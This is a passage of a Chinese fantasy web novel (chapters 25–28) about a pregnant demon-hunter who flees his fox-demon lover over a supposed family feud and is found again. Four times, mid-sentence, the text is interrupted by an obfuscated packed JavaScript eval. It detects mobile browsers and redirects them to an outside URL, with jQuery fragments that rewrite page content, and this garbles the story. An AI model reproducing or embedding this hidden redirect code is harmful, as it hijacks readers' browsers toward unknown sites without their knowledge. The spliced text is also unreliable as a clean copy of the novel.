苏言辰夹起小巧玲珑的生煎沾了沾小碟里的香醋，将其放入口中。酥脆的外皮包裹咸香的内馅，是许久未吃过的味道。 “自然。”银青撑着头注视着青年，狭长的金眸中满是笑意。 “我瞧你近日胃口时有不佳，或许是吃腻了洞里的吃食。恰巧路上瞧见这家生煎卖得极好，便想着带给你尝尝。” “……”苏言辰咀嚼的动作不禁慢了下来，抬头便撞见了那双含笑的眼睛，一刹那他像被烫到似的下意识撇开了眼。 “你……不必如此。”他只能呐呐说道。 又害羞了？银青晃着身后剩下的八条尾巴，心中半是怜爱半是苦恼。 若是阿辰一直都这般害羞，他又怎样才能和对方更近一步呢？ “对了，近日镇中的除妖师多了不少，你若是外出还需小心些。”想到近日晏盟的动静，银青叮嘱了一句。 固然阿辰曾经的宗门玄天宗并非望月山附近城镇的所属除妖宗门，但既然有晏盟这个所有门派掌管者组成的盟会，门派间自然有交流。就如上次月华村的事情，其他门派也会前往其他地方进行任务而非局限于宗门所在的辖区。 这些除妖师中难免会有与玄天宗交好的门派弟子，若是有那等多管闲事之辈，威胁到阿辰的安危，那可就不妙了。 咽下口中的食物，苏言辰点头应下。 …… 宫殿中最后一丝寒气散去，原本一直冰冷的屋子在大妖寒毒祛除的一瞬便升腾起一股暖意。 就像自己胸前那狐火结晶的感觉，干燥而温暖。 苏言辰支起身体，目光长久地落在自己戴着的玉扳指上，久久未曾说话。 作为自小便陪伴自己长大的物品，玉扳指在他心中的地位自然不同。不过按那只相较于墨翎在自己这边更加沉默寡言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281245|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小白鸟白羽所说，这是天狐族独有的戒指，一只天狐一枚，具有向附近妖族强者求救功能。 也就是说，这应该是属于银青这只天狐的物品。只是不知道因为何种原因，竟然出现在了自己身上。 苏言辰轻轻叹了口气，在离开前，自己应该将其物归原主。他想着，同时抬头看向身边面露疲惫之意的九尾狐妖。 “你这是在做什么？” 银青眯起眼，打量着面前青年的脸色，心中有些狐疑。 好端端的为什么要把这手上的玉扳指给自己？莫不是…… 像是想到什么，他一个用力顿时抬起上身，目光灼灼盯着低头沉默的苏言辰。 难不成，这其实是阿辰给自己的定情信物？ 银青的视线在玉扳指与青年胸前反射着金色光芒的狐火结晶上来回跳跃，嘴角忽然勾起一丝微笑。 “那就给我带上吧。”他伸出手指，微微扬了扬下巴。 “……”这大狐狸怎么笑得这么奇怪？苏言辰心中嘀咕着，顺从地将玉扳指戴在银青手指上。 分明两人的手指并不一样大小，但在戴上的那一瞬间，那玉扳指竟自动调整了大小，妥妥帖帖安在银青那洁白修长的手指上。 “你有心了。”大狐狸的耳朵愉快地竖起来，九条大尾巴欢快地拍打着床铺。像是忍不住似的，忽然再次圈起青年的腰身，轻柔地摩挲着。 真是难得，往常一向害羞内敛的阿辰这次居然学会主动出击，银青挑眉看向乖乖窝在自己怀里的青年，心情大好。能够主动赠送定情信物，这也直接代表他并非是自己单向投入，而是双向奔赴。 果然，阿辰先前就是在害羞，但人不可能一直害羞。虽然并未说话，但行为正好说明了阿辰心中有他。 摸了摸手上的玉扳指，银青愉悦地想着。 见到银青这只大狐狸心情很好的样子，苏言辰只觉心中满是困惑，又有些担忧自己腹部的弧度被发现，不由伸手拽了拽腰间收紧的狐狸尾巴。 “银青……”他呼唤道：“尾巴松一松，太紧了。” “你还叫我全名吗？”原本还高高兴兴的大狐狸忽然扭头，目光直直看着苏言辰，直立起的狐耳蓦然耷拉下来，配上那张美丽妖异的面孔，竟叫人品出一丝委屈。 “那叫你……阿青？”从记忆的旮旯里翻出这个亲昵的称呼，苏言辰试探性地呼唤道。 “阿青，尾巴松一松。” 话音刚落，腹部的狐尾瞬间放松些许，虚虚地搭在苏言辰的腰间，就像一个毛绒装饰品。 “你怎么这么喜欢用尾巴圈着我？”玉扳指已经成功送给原本的主人，苏言辰心中呼出一口气，心头微弱的失落感很快消散，他的注意力很快转移到总放在自己腹部的尾巴上。 这般姿态，就好像动物的圈地似的。他这么想着。或许即使是妖族也难免会保留一些原形的本能？ 却听身旁的大狐狸理所当然道：“因为你是我的。” “你是属于我的人，我不圈你又圈谁呢？” 26. 第 26 章 “你……你的人？”苏言辰像是没听清似的，重复了一遍银青的话，手中拽着狐尾的手指不由收紧。 嘶！银青心中倒吸一口凉气，眉头微不可察地一抽。 他的尾巴！ “对，或者……”银青悄悄抽了抽被青年紧握的尾巴尖儿，面上却不动声色。 他忽然想到自家的除妖师在本质上是一名人族男性，或许他应该换个说法。反正自己并不在意这些口头的说法。 “或者也可以说，我是你的。” “……” 苏言辰蓦然愣在原地，怔怔看向语出惊人的大狐狸，心中突然乱成一团。 他们，他们什么时候关系到这个地步了？ 这般想着，他不由回忆起与银青相处的一点一滴。 银青虽外表妖异气质冰冷，但实际上却是个……细致又温柔的人。 会细心察觉自己身体的不适，会半夜给饿肚子的自己做饭，会怕自己无聊给自己带城镇上出现的新鲜玩意儿…… 还会督促自己修炼，不懈怠武艺，时而还会指点一二。 这些都可以解释说是友人之间的正常往来。 但…… 除此之外，他不知何时起竟开始习惯被大妖的狐尾挨挨蹭蹭，对于那远超于友人关系的亲密接触也习以为常。 苏言辰的视线悄然落在银青那被自己情动之时抓破的肩头红痕。耳后不由一阵发烫，又缓慢冷却。 或许在最开始，他与银青之间所谓的友情就只是他的自欺欺人罢了。 回想与银青初见时的对话，苏言辰恍然意识到，从一开始，银青就未曾明确说接受他所谓无需负责的说法。也就是说，他在银青心中一直都处在伴侣这一位置？ “……” 糟糕！他怎么感觉自己若是再不走就真走不了了？ 抬眼撞上那双满含笑意的金色眼眸，苏言辰心中一颤，下意识别开脸。 某一瞬间，他忽然想起自己与银青间那无可磨灭的父辈纠葛，只觉整颗心脏仿佛突然间被从温暖的蜜水中丢进冰冷的铁盒里，压抑又苦闷。 “你是我的……” 你真的会属于我吗？苏言辰心中喃喃自问。 感受着腰腹间依旧温暖的毛绒触感，他松开紧握的手指，将狐尾轻轻按在自己的腹部，又很快放下。 或许这是他的孩子与另一个父亲唯一可以进行的亲密接触。 “怎么感觉你脸色不太好，是哪里不舒服吗？” 脸上忽然抚上温暖的手掌，苏言辰朝面露担忧的大妖轻轻摇头，低声道：“没什么，只是有些累了。” 他要……快点离开望月山。 …… 又是一日清晨，早在昨夜苏言辰便从墨翎口中知晓大妖今日要出门的消息。 “哗啦——” 捧起冰冷的水洗了把脸，苏言辰甩了甩头，眨眼试图驱散身体的困倦。自腹部开始明显凸起后，虽不再出现孕吐，但那种像从骨子里透出来的困倦反倒越发明显。 “好困。” 他打了个呵欠，勾勾手指，一只墨团似的黑乌鸦扑腾着翅膀从窗外飞到窗前桌上，口出人言。 “嘎！小殿下，天狐已走。”墨翎踹了一脚鸟窝里睡得死沉的白羽，轻巧地跳到苏言辰的肩头。 从上次两只小鸟重新回到他身边后，苏言辰便感觉到这一黑一白两只鸦族似乎并非完全属于一派。黑乌鸦似乎更亲近自己，至于那只白色乌鸦，日常寡言，还会时不时溜去九尾狐妖那边。 于是为了防止白羽给银青通风报信，在前一晚，他便与墨翎一起给这只小白鸟下了足份的昏眠药。 等苏言辰路过厨房之时，他才发觉这次不仅是银青就连那银雪也离开了狐狸洞，走廊上只能看见三两只小狐妖在懒洋洋地晒太阳。 走下台阶前，苏言辰转身回望一眼这住了月余的住所，心中蓦然生出一种奇怪的感觉。 这座深藏山间的妖族宫殿在大妖离开后似乎多了些许冷寂的味道。 顺着小路走下山，在距离城镇不远的地方停着一辆外表普通的马车。 “去璇玑镇。” 璇玑镇是阙云宗所管辖的城镇。自最开始阙云宗与玄天宗的关系就算不得融洽，或许是理念不合又或是其他，总之若想尽可能避免与玄天宗接触，去阙云宗管辖地是相对较好的选择。 而璇玑镇的人口众多人流密集，这也更方便他的隐藏。 以此同时，在望月山附近的某座山间宫殿中。 在苏言辰口中温柔细致的大妖，此刻正端坐在最高处的王座上，神情冷酷。 殿中的血水很快便被狐火燃烧化作灰烬，最后不曾留下一点痕迹。 “狐王殿下，最后一名除妖师已经审讯完毕。请您过目。”王座下，头顶狼耳的狼妖夜阑将手中整理出的情报恭敬递给站在一旁的银雪，并由其交给银青。 挥退殿内其他妖族，细细看完手中的情报，银青忽长叹一声，一团金色的狐火转瞬便将纸张点燃。 “自师父离去已经七年，我却还未找寻到破开此世封印的钥匙。” 凝视着那团跳动的火苗，银青垂下眼眸，周身的气场更加冰冷。 自晓事之年，他便被师父告知自己的身世，也被师父托付了寻找钥匙的重任。在师父口中，只要打开这无根之境的封印将其与外界的大世界相联通，那么这持续近二十年愈演愈烈的人妖祸事便可迎刃而解。 到两界相通之时，无论是恶妖伤人还是例如玄天宗这般不分善恶对妖族赶尽杀绝的行为都将被大世界的两族真正的首领管控遏止，罪孽深重者还会遭到天道的惩罚。 除此之外，他也能见到他师傅口中那所谓的父亲。 “若阿辰与我之间能有子嗣，我必不会像我这父亲一样。”儿子都能弄丢，师父口中那等威风的妖王也不过如此。 银青撑着头，摩挲着手中莹润的玉扳指。 可惜阿辰是男性，无论妖族还是人族，男性从来不是子嗣的孕育者，他这番想法也只能是想法。没办法，谁让他这辈子只会喜欢阿辰呢。 这样想着，他突然感觉手中的玉戒忽然一阵发烫，眼前忽然浮现出一道青年活动的身影。 “是……阿辰？” 令大妖格外熟悉的青年一个人待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281246|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在某处房间里，正欲伸手解开衣衫。 银青不由竖起狐耳，身后懒散放在地上的大尾巴也忍不住摇摆起来，像是出现了什么叫人极其感兴趣的事情。 眼前的画面还在继续。 衣衫垂落在肩头欲掉不掉，随后青年伸手抚过自己的腹部，张了张嘴好像在说些什么。 银青眯起眼睛，随着画面中青年的手指看向那明显凸起的小腹，一种诡异的感觉漫上心头。 阿辰为什么在抚摸肚子？难道是吃多了吗？可看青年那眉眼柔和的模样，银青感觉事实似乎并非如此。 渐渐的，随着画面逐渐进行，画面中的声音也陆续出现，开始只是只言片语，到后面一切都能听清。 银青竖起耳朵，只听画面中的青年开口说了一句“狐崽好像长大了不少。” 银青眼神猛然一呆，忍不住揉了揉耳朵。 “什么？！” 什么狐崽？什么崽？崽？ 玉戒的热意退去重新变回温润的触感，银青却觉得自己整只狐狸都要烧起来了。 “这是什么东西？”怎么会现出阿辰的身影？ 不对！银青摇了摇头，忽然从王座上站起来往殿外走去。走到半路他意识到什么，连忙唤来银雪。 未等他说话却听银雪步伐慌乱地跑到他面前，带着一只飞得东倒西歪的小白鸟。 “兄长！不好了，除妖师离开了！” “什么？！” 房间内的布局与往日并无多少不同，只除了少了房间的主人以及些许贴身之物。 银青狭长的金眸扫过屋内的物品，忽然意识到先前自己见到的似乎就是这间屋子内的画面。 也就是说……他转身看向飞在半空中的小白鸟，语气冰冷。 “你知道苏言辰怀孕的事情吗？” “嘎！”白羽点头。 “为什么不告诉我？” 闻言，小白鸟不由歪头看向身边脸色大变的银雪，面露困惑。 连安胎药都按时煮了，这消息小殿下居然还不知道？ 顺着白羽的视线，银青跟着将目光投向面露惴惴的银雪。 “兄长，我……我先前未将此事告知于你吗？”小狐妖小心翼翼开口询问，一边翻着自己的记忆。 “……未曾。” 深呼一口气，银青不禁握紧了拳头，脑海中不住浮现近日苏言辰的言行。 知晓对方怀孕的消息后，那些带有些许奇怪的行为似乎都有了解释。 “可是……阿辰他为什么要离开？”银青垂下眼睫，遮住那双蕴含着气恼与委屈的眼眸。 莫非自己有何处做错了？若是有错处，阿辰告知自己便好，他自会改过而不是像现在这样，连人带崽一走了之。 “我这是……被抛弃了吗？”银青看向手上那玉色的扳指，金色的眼眸中忽然燃起诡异莫名的色彩。 九尾天狐一族，对伴侣最为忠贞。但除此之外，也意味着九尾对伴侣最为执着。一旦被抛下，他们将无论生死，对认定之人纠缠不休！ 银青突然发出一声轻笑，手腕上的锁魂链晃动着，反射出金属的色泽。 27. 第 27 章 正午之后，天色便阴沉了下来，时而有风吹动树叶发出哗哗的响声。 鲜有人迹的小道上行驶着一辆破败的马车。 听着车轮发出吱呀吱呀的呻吟声，苏言辰放下车窗上的遮挡帘，心中祈祷驾车的小鹤妖能看准些路。 目前他们可就只有这一辆马车，可不能再被摔散架了。 “诶呀我的鸦哥啊，前面怎么黑乎乎一团呢？”驾车的小鹤妖突然开口抱怨了一句。 “？” 未等墨翎出声提醒，整辆马车陡然发生剧烈颠簸。苏言辰连忙拽着车窗的窗框稳住自己的身体。 随着小鹤妖一声长啸，拉车的马匹紧跟着发出嘶鸣声，整辆马车顿时停了下来。 “嘎！发生了什么？” 墨翎连忙飞出车厢，出去查看路况。苏言辰望了眼手边的长剑想了想跟着走出马车。 从望月山出发后驶向璇玑镇的路上并不太平。由于他们挑的都是些人少的小路，路上遇到打劫的山匪也不少。 并非所有山都有妖族占据，像望月山那种在靠近城镇的地方居住的妖族更是极少。而在这缺少专门人士管理的荒山野岭，剪径贼人自然泛滥。 “不会又是来抢劫的家伙吧？”下车前，苏言辰心中还如此想着。 这一路上遇到的类似之事实在太多。若非他的剑术初成又有纯阳之法傍身，钱财与性命早就丢在半路了。 刚出车门，苏言辰便很快察觉到几道阴森的目光正暗中打量着自己。同时空气中弥漫着一股淡淡的血腥气。 嗖—— 寒芒乍起，森白的牙齿碰上银色长剑迸发出一连串的火星子。手腕骤然发力，苏言辰便将抵在巨蛇口齿间的长剑拔出，顺势一挥，白色的剑气疾驰而出将飞扑过来的几条长蛇的蛇头切割下来，随后身形飞快后退与巨蛇拉开距离。 剑影纷飞间只听“欻”的一声，锐利的剑芒直直破开空气穿透面前巨蛇的七寸，将其死死钉在地面上。 感受着怀中的寻妖罗盘极速旋转的动静逐渐变小，最后持续发出低频率的震动，苏言辰心中不由产生一丝困惑，低头打量着地上的黑色巨蛇。 “这些都是妖族？蛇妖……”他用剑拨了拨保持原形的蛇妖尸身，忽觉一股腥臭味弥漫开来。 “呕——” 苏言辰忍不住掩住鼻子发出一声干呕，脚步不由退后几步。 “太臭了！” 没再看那些死去的蛇妖，他快步转身走向马车。 “殿下，嘎！还有活口，要不要……”从马车前方飞过来的墨翎，嘀嘀咕咕着，说完鸟舌头一吐，脑袋歪到一边做出灭口的架势。 “……活口？”跟随小黑鸟来到所谓的活口面前，苏言辰的眉头忽然一皱。 挡在马车前的是一大一小两条青蛇，看着着熟悉的颜色，苏言辰不由想起多日之前同自己一齐逃出来的申元玥以及那位后山相识的蛇女。 不过那对母女俩说过要去南边寻找族人，这两条蛇应该不是她们。苏言辰继续用剑身拨了拨昏迷状态的两条蛇妖。除去蛇身上布满的伤痕散发出的血腥气，倒是没有什么其他味道。 “那边是黑蛇，这边是青蛇。颜色也不一样，就当他们不是一伙儿的。”拧眉思索了一下，苏言辰指挥着旁边呆望着的小鹤妖将青蛇洗刷干净涂抹上药，随后关到马车上原带着的鸡笼里。 看在这蛇妖与蛇女她们同族的份上先救它们一命。随手拿起车上的果脯塞进嘴里，苏言辰放松身体靠在车座的靠枕上，心中如此想着。 若是好的就当做善事，若是同那几个黑蛇一样是恶妖，他手中的剑也不是吃素的。 座下车轮继续开始转动，发出轱辘轱辘的声音，马车继续行驶着。 “殿下，马上要下雨了，这边前不着村后不着店的，咱们不如就先在这山洞里歇息一晚吧？” 听着头顶上不时发出的轰隆雷声，小鹤妖扭头冲马车内喊道。 掀开车帘，苏言辰看了看更加阴沉的天色，出声应下。 …… 就在一行人进入山洞后不多时，天幕上的黑云便降下了雨水。 雨越下越大，很快山洞口有雨珠落下，形成一串串雨帘。 苏言辰坐在火堆旁，手上烤着白色的馒头片。 旁边的墨翎忍不住喳喳几句，被苏言辰塞了一嘴的酸果脯。 “嘎——” “好了，又不是一直这么吃，今日不过是天气所致，不能出去打猎。”揉了揉黑不溜秋的鸟脑袋，苏言辰看着烤成淡黄色的馒头片，凑近闻了闻。 淡淡的麦香顿时萦绕鼻间。 果然，只要不是烤肉类，他还是能将烧烤这件事做好的。回想前几日被自己烤得乌漆嘛黑的山鸡肉，苏言辰眨眨眼，不由摸了摸肚子。 若说做山鸡的手艺，自然是银青那只大狐狸最厉害。煎炸炖烤，只要经由他手，就没有不美味的。 “……” 他怎么又想到银青了。 苏言辰看着手上原本还充满食欲的麦香馒头片，突然感觉索然无味起来。 哒——哒—— 逐渐变大的雨幕中传来一阵细微的脚步声。 苏言辰下意识握紧身边的长剑，面露警惕。 如今他身边只有一只小鹤妖以及一只被封印了修为只会说话的小黑鸟，若论战斗力也只有他一个，在这种雨夜保持警觉总不会出错。 哒——哒—— 脚步声逐渐清晰，来人也终于显露了身形，出现在山洞之中。 被雨水打湿的银色长发垂落在肩头，有雨水顺着发丝滴下，打湿来人脚下的地面。在黑色的兜帽下，苏言辰看见了一双熟悉的金色眼眸。 在那双眼睛里，他看见了仿若实质的熊熊怒火。 怎么……怎么是银青？他是怎么找到在这里的？！ 苏言辰的瞳仁猛地收缩，一下子握紧手中的长剑，剑柄上缠绕的赤色剑柄绳那粗糙的质感在现下的感知中愈发清晰。 银青他生气了……或者可以用愤怒来形容。 至于掺杂其间的情绪，苏言辰却根本来不及辨认，他心中只有一个念头。 银青他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281247|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是知道他俩父辈间的杀身之仇了？！否则又怎会如此愤怒……那种眼神，就好像要把自己吃了一样。 某一时刻，山洞中好像突然安静下来，耳边只能听到洞外纷乱无序的雨声。 “咣当”一声，苏言辰手中握着的长剑忽然失手滑落到地上。 他也没有想要拾起的意思，只是怔怔看着银青，看着这只眼中满含愤怒之色的大狐狸，慢慢走向他，带着周身冰冷的气息。 所谓父债子偿，银青他会是来杀自己的吗？ 如此猜想着，苏言辰心中却并没有害怕的情绪，心中只有一种大石落地的释然以及……淡淡的不甘。 一步，两步……三步。 眼瞧着银青越来越接近自己，苏言辰忍不住闭上双眼。 下一刻，一股独属于银青的冷香忽然包裹住他整个人，柔软冰冷的触感从唇间传递给宕机的大脑，将其搅成浆糊。 “嘶！”唇角忽然被尖锐的犬齿咬破，口中顿时泛起腥甜的味道，苏言辰蹙起眉，倒吸一口冷气。 银青这是在做什么？ “……做什么？”耳边突然响起银青那熟悉的声音，只是相较于往常，此刻是声音更加低沉透着沙哑的意味。 苏言辰这才发觉自己将心中的疑问说出了口。 “你真的，太不乖了。我的阿辰。” 比赤色火焰更夺目的金色狐火出现在九尾狐妖的周身，将其身上的水汽快速蒸发，垂落在地的九条狐尾很快干燥恢复了毛绒柔软的状态。 银青熟练地将青年圈起，看着对方那无辜的模样，他不由恨恨捏住那白皙的脸颊肉，又因为青年的痛呼忍不住松开手。 “你为什么要离开我身边？”银青捧起苏言辰的脸，紧紧注视着青年那双深色的眼眸，开口问道。 “你，原来不知道吗？”听到银青的问话，苏言辰这才反应过来，自己似乎错估了情况。原来银青并不知道他们父辈之间的事情吗？ “知道什么？”银青追问道。 “……”苏言辰不由抬眸望向面前这只仿佛什么都不知道的大狐狸，心中挣扎着。 可若是隐瞒下来，这件事终究定然还是会被对方知晓，早说晚说，似乎并没有什么两样？苏言辰下意识握紧了拳头，指甲深深嵌进手掌，产生一阵痛感。 他深呼一口气，目光直直对上狐妖那双金色的眼眸，一字一顿道。 “我的父亲杀了你的父亲。” 说完这句话，苏言辰心中忽然一松，他望着身前之人，如同等待审判一般等待对方的反应。 “……” “……所以，你是因为这个才从我身边离开的吗？”良久，银青忽然出声，身边停滞在半空的狐尾缓慢摆动着，带起一阵微风。 当然不止如此。苏言辰悄悄摸了摸自己的小腹，即将收回手之时，他的手背突然附上带有凉意的手掌。 “你是否还有事情瞒着我……比如，你腹中的胎儿？” 银青淡淡开口。 分明是低沉悦耳的嗓音却像惊雷般在苏言辰的耳边炸起。 28. 第 28 章 山洞外的雨下得更大了。雨雾氤氲，山洞里弥漫着水汽的味道。 哗哗的雨声破开寂静的气氛传递到苏言辰的耳侧，惊醒他恍惚的神志。 手背上那微凉的触感好像突然变得灼人起来，烫得他的手连同心脏都不由一颤。 “你知道了……” “是啊，我知道了。我还知道你想要带着我俩的孩子远远离开我。” “苏言辰。” 眼前的狐妖叫出他的全名，分明是淡漠的语气，苏言辰却感觉到那平静的表象下似乎隐藏着什么压抑的情绪。 他不由抬头看向对方。 黑色的兜帽早已落下，垂落的银发散在肩头，被雨打湿的发丝贴在鬓角往下滴着水珠…… 不……不止是雨水。 银青那双金色的眼眸不知何时蒙上了一层水色，泪水顺着白玉般脸庞无声落下，与雨水混作一体。 见苏言辰抬头看他，这只狐妖睁着那泛红的泪眼与青年对视。 “无论怎样，既然做了我银青的伴侣，你这辈子都别想离开我……” “抛弃更是不行……你这个狠心的家伙！”说到最后，银青的语气已然带上咬牙切齿的意味。 苏言辰下意识反手握紧那狐妖的手，胸膛中的心脏忽然砰砰剧烈跳动起来。 真是惹人怜爱啊，银青。 他凝视着那双泛着泪光的狐狸眼，只觉心中一阵酸软，就连对方说了什么都听不真切了。 再回过神，便听银青说道：“……更何况，谁说那个老狐狸死了，他分明还活的好好的。” “？”苏言辰不由睁大眼睛，困惑顿起。 “难道你们天狐一族还有死而复生的能力不成？” 想到先前梦中那只金色的九尾大狐狸可是真真切切被他的父亲一剑穿心而过。这样的伤势，人怎么可能活得下来？ 银青察觉到苏言辰似乎并不相信自己的话，狐尾不由用力拍打着地面。他并未回答苏言辰的话，转头对着山洞外发出指令。 “给吾进来。” 高大的狼耳青年头顶一只白色小鸟，动作轻巧敏捷地出现在山洞中，言行举止充满了对银青的崇敬。 “狐王殿下。” 银青朝白羽招了招手，将这只作为妖王下属的乌鸦托于掌上，这才扭头看向苏言辰。 “若妖王已死，那这前来寻我的鸦族又是何人派遣的呢？” 旁边安静许久，自银青出现便被小鹤妖捏住嘴巴待在一边的墨翎总算挣脱了钳制，扑腾着翅膀，顶着狐妖颇具威压的视线站到苏言辰的肩头，嘎嘎开口。 “不光是妖王，人王亦对殿下的回归期盼已久。若非为此，我等也不会来到这个无根之境。” “嘎！对！”白羽连忙跟着发声。 “……所以，妖王没死？我的父亲并未杀妖王？”苏言辰喃喃说道：“可我分明看到……那一剑穿心难道是假的吗？” “两位陛下平日里一向喜好切磋，若有这等误会实属正常。不过以陛下他们的修为境界，肉身上的伤势已无关生死，无非是多花些时间恢复罢了。” 听到青年的疑问，墨翎开口补充道。 “……” 闻言苏言辰不由沉默下来。 也就是说，这一切都是误会？ 都是误会……他默默扭头看向方才大声发言的墨翎，这只一直呆在自己身边的小黑鸟。 苏言辰忽捂住脸，将头埋进大狐狸的怀里。 他先前到底在做什么？为什么没想到问一问这个自出现就与自己那人王父亲关系匪浅的鸦族呢？ 若是早知道这事情的真相，他又何必各种纠结苦恼，各种心伤难过。还在这荒郊野外，吃着干巴巴的干粮。 “对不起。”感受着银青温柔抱紧自己的双臂，苏言辰平复着心绪，垂着头低声说道。 “我以后不会再离开……也不会抛弃你。” 原本自己就是因为心悦对方这才苦闷于父辈间的仇恨关系，如今误会解除得知真相，那原本压抑在心底的脉脉情意没了阻碍一点一点流淌出来，最后化作浪涛翻涌在心间。 “你可以原谅我吗？”他抬头看向银青，眉眼间流露出一丝忐忑。 “……” 银青忽然笑哼一声，轻轻捏了捏苏言辰的脸颊肉，叹息道：“恃宠而骄。” “……原谅你了。” 他像是想起了什么，低下头，目光落在青年凸起的小腹处注视良久，冷不丁冒出一句。 “几个月了？” “……” 苏言辰心中估摸了一下，迟疑着竖起三个手指：“大概，三个多月？” 迎着大狐狸的目光，他不由撇了撇嘴：“我一个男人，能怀孕就已经够奇怪了，怎么可能去看大夫，知道具体月份？” 就他估摸出的月份还是从和银青欢好的时间段结合胚胎大小模糊推测的。 “跟妖族欢好后连男人都能怀孕，妖族这是什么种族天赋。”颇有些难为情地用衣袖遮了遮肚子的弧度，苏言辰小声嘀咕着，却听到银青出言，推翻了他的说法。 “妖族并不会让男人怀孕。” 银青试探着伸出手轻轻放在青年的腹部，目光柔和，他看向怔住的苏言辰，心中蓦然想起使他与青年相识的奇异果实。 “或许是因为那枚两极果。据银雪说，这果实中蕴含阴阳两气，一旦结合，能产生子嗣倒属正常。” “……”两极果？ 苏言辰低头摸了摸自己的肚子，忽然睨了眼眉眼带笑的大狐狸。 正常什么正常，要是怀孕的是这大狐狸，看他还觉得正常。 虽心中有些愤愤，但瞧见银青欢欣的模样，苏言辰不知为何心情也好了起来。 看着相视微笑的两人，墨翎咂摸着嘴，默默啄了口已经冷掉的烤馍片，瞧见旁边呆呆望着的白羽，忍不住一翅膀拍了上去。 “呆鸟！还看呐。” 白羽扭头朝他看了眼，慢慢叹了一口气。 “等出了这无根之境，你就要和我这呆鸟是一家了。” “？” “两位殿下如此情投意合还有了子嗣，以后必成一家，我俩这做下属的可不就成一伙儿的了。” 白羽这般说着，最开始担忧被妖王责罚的心理慢慢发生转换。既然这局面改变不了，他还不如坦然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281248|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受。 “如今就只等两位殿下带领我等破开这无根之境的封印，返回大世界了。” …… 雨渐渐停了。 山洞内，火堆里干柴静静燃烧着发出噼啪的响声。 苏言辰坐在火堆旁，看着银青手法娴熟地处理着新鲜打来的猎物。 火焰炙烤着处理干净的山兔肉。不久，一股肉香弥漫在整个山洞之中。 “嘶~嘶~” 隐约有异样的声音从山洞的一角传出，墨翎很快便飞过来汇报情况。 “嘎！小殿下，是那两条青蛇醒了。” 未等来到那两条青蛇妖面前，苏言辰便听到了熟悉的女声。 “苏师兄！/小殿下。” 竟然是据说往南边寻找族人的青黛母女。 苏言辰还记得在分开之时，申元玥才刚刚觉醒妖族血脉，连半身蛇尾的姿态都不曾能够长期保留，如今却实实在在化身成了一条三指宽的小青蛇。 “你们怎么会在这里？” 靠近温暖的火堆，那浑身僵冷的感觉逐渐从身上褪去，青黛艰难喝了口水，开始叙说她们一路上的遭遇。 在与苏言辰等人分别后，她们确实按照原先的计划前往印象中青蛇妖的族地。 一路上虽险象环生，但历经多日，青黛等人最终还是到达了满是蛇妖族人气息的居所。然而等待这对母女的却是来自黑蛇妖的追杀。 “必然是申常德那个小人做了什么！”青黛断言，否则为何那么大的蛇妖族地里，连一条青蛇也没有，全是像申常德一样的黑色蛇妖。 不仅如此，还对同是蛇妖的她们下杀手，这种行径在一向护短顾念同族的妖族中显得极为怪异。 “申常德他不是对妖族最为残酷无情，怎么还会同蛇妖勾结？” 听到青年的疑问，化为原形的蛇女不由吐了吐蛇信子，发出一声冷笑。 “本就是人蛇混血，他就算真想成为纯种人族，他血肉里蕴含的蛇血也不会完全消失。” “有这等血脉的天然联系，能拥有来自黑蛇妖的助力也就不足为奇。谁又能拒绝多一个帮手呢？” “申常德此人本就古怪的很，一心想要成为纯种的人族，背地里却造出能让人蛇混血全然蜕变成蛇妖的药剂。他所表露出的那副痛恨妖族的模样自然并非其真实面目。” 青黛盘了盘圈在蛇尾内侧的申元玥，暗中叹息。 回想着青黛所说的话，苏言辰的眉头忽然皱起：“也就是说，申常德一面创立了玄天宗屠杀妖族，一面又与他的同族勾结，放任这些蛇妖为害人族？” “他到底想做什么？！” “嘎！想做什么？”白羽飞过来，落到银青的肩头，语气里是掩饰不住的厌恶。 “无非是想搅乱人族与妖族的关系。当年他夺走两族陛下的子嗣便是打的这个主意。身为人蛇混血，他不曾选择一族加入而是游离于两族之外，但其血脉中的联系又割舍不掉。等犯了恶事后，这责任的归属自然就成了问题。” 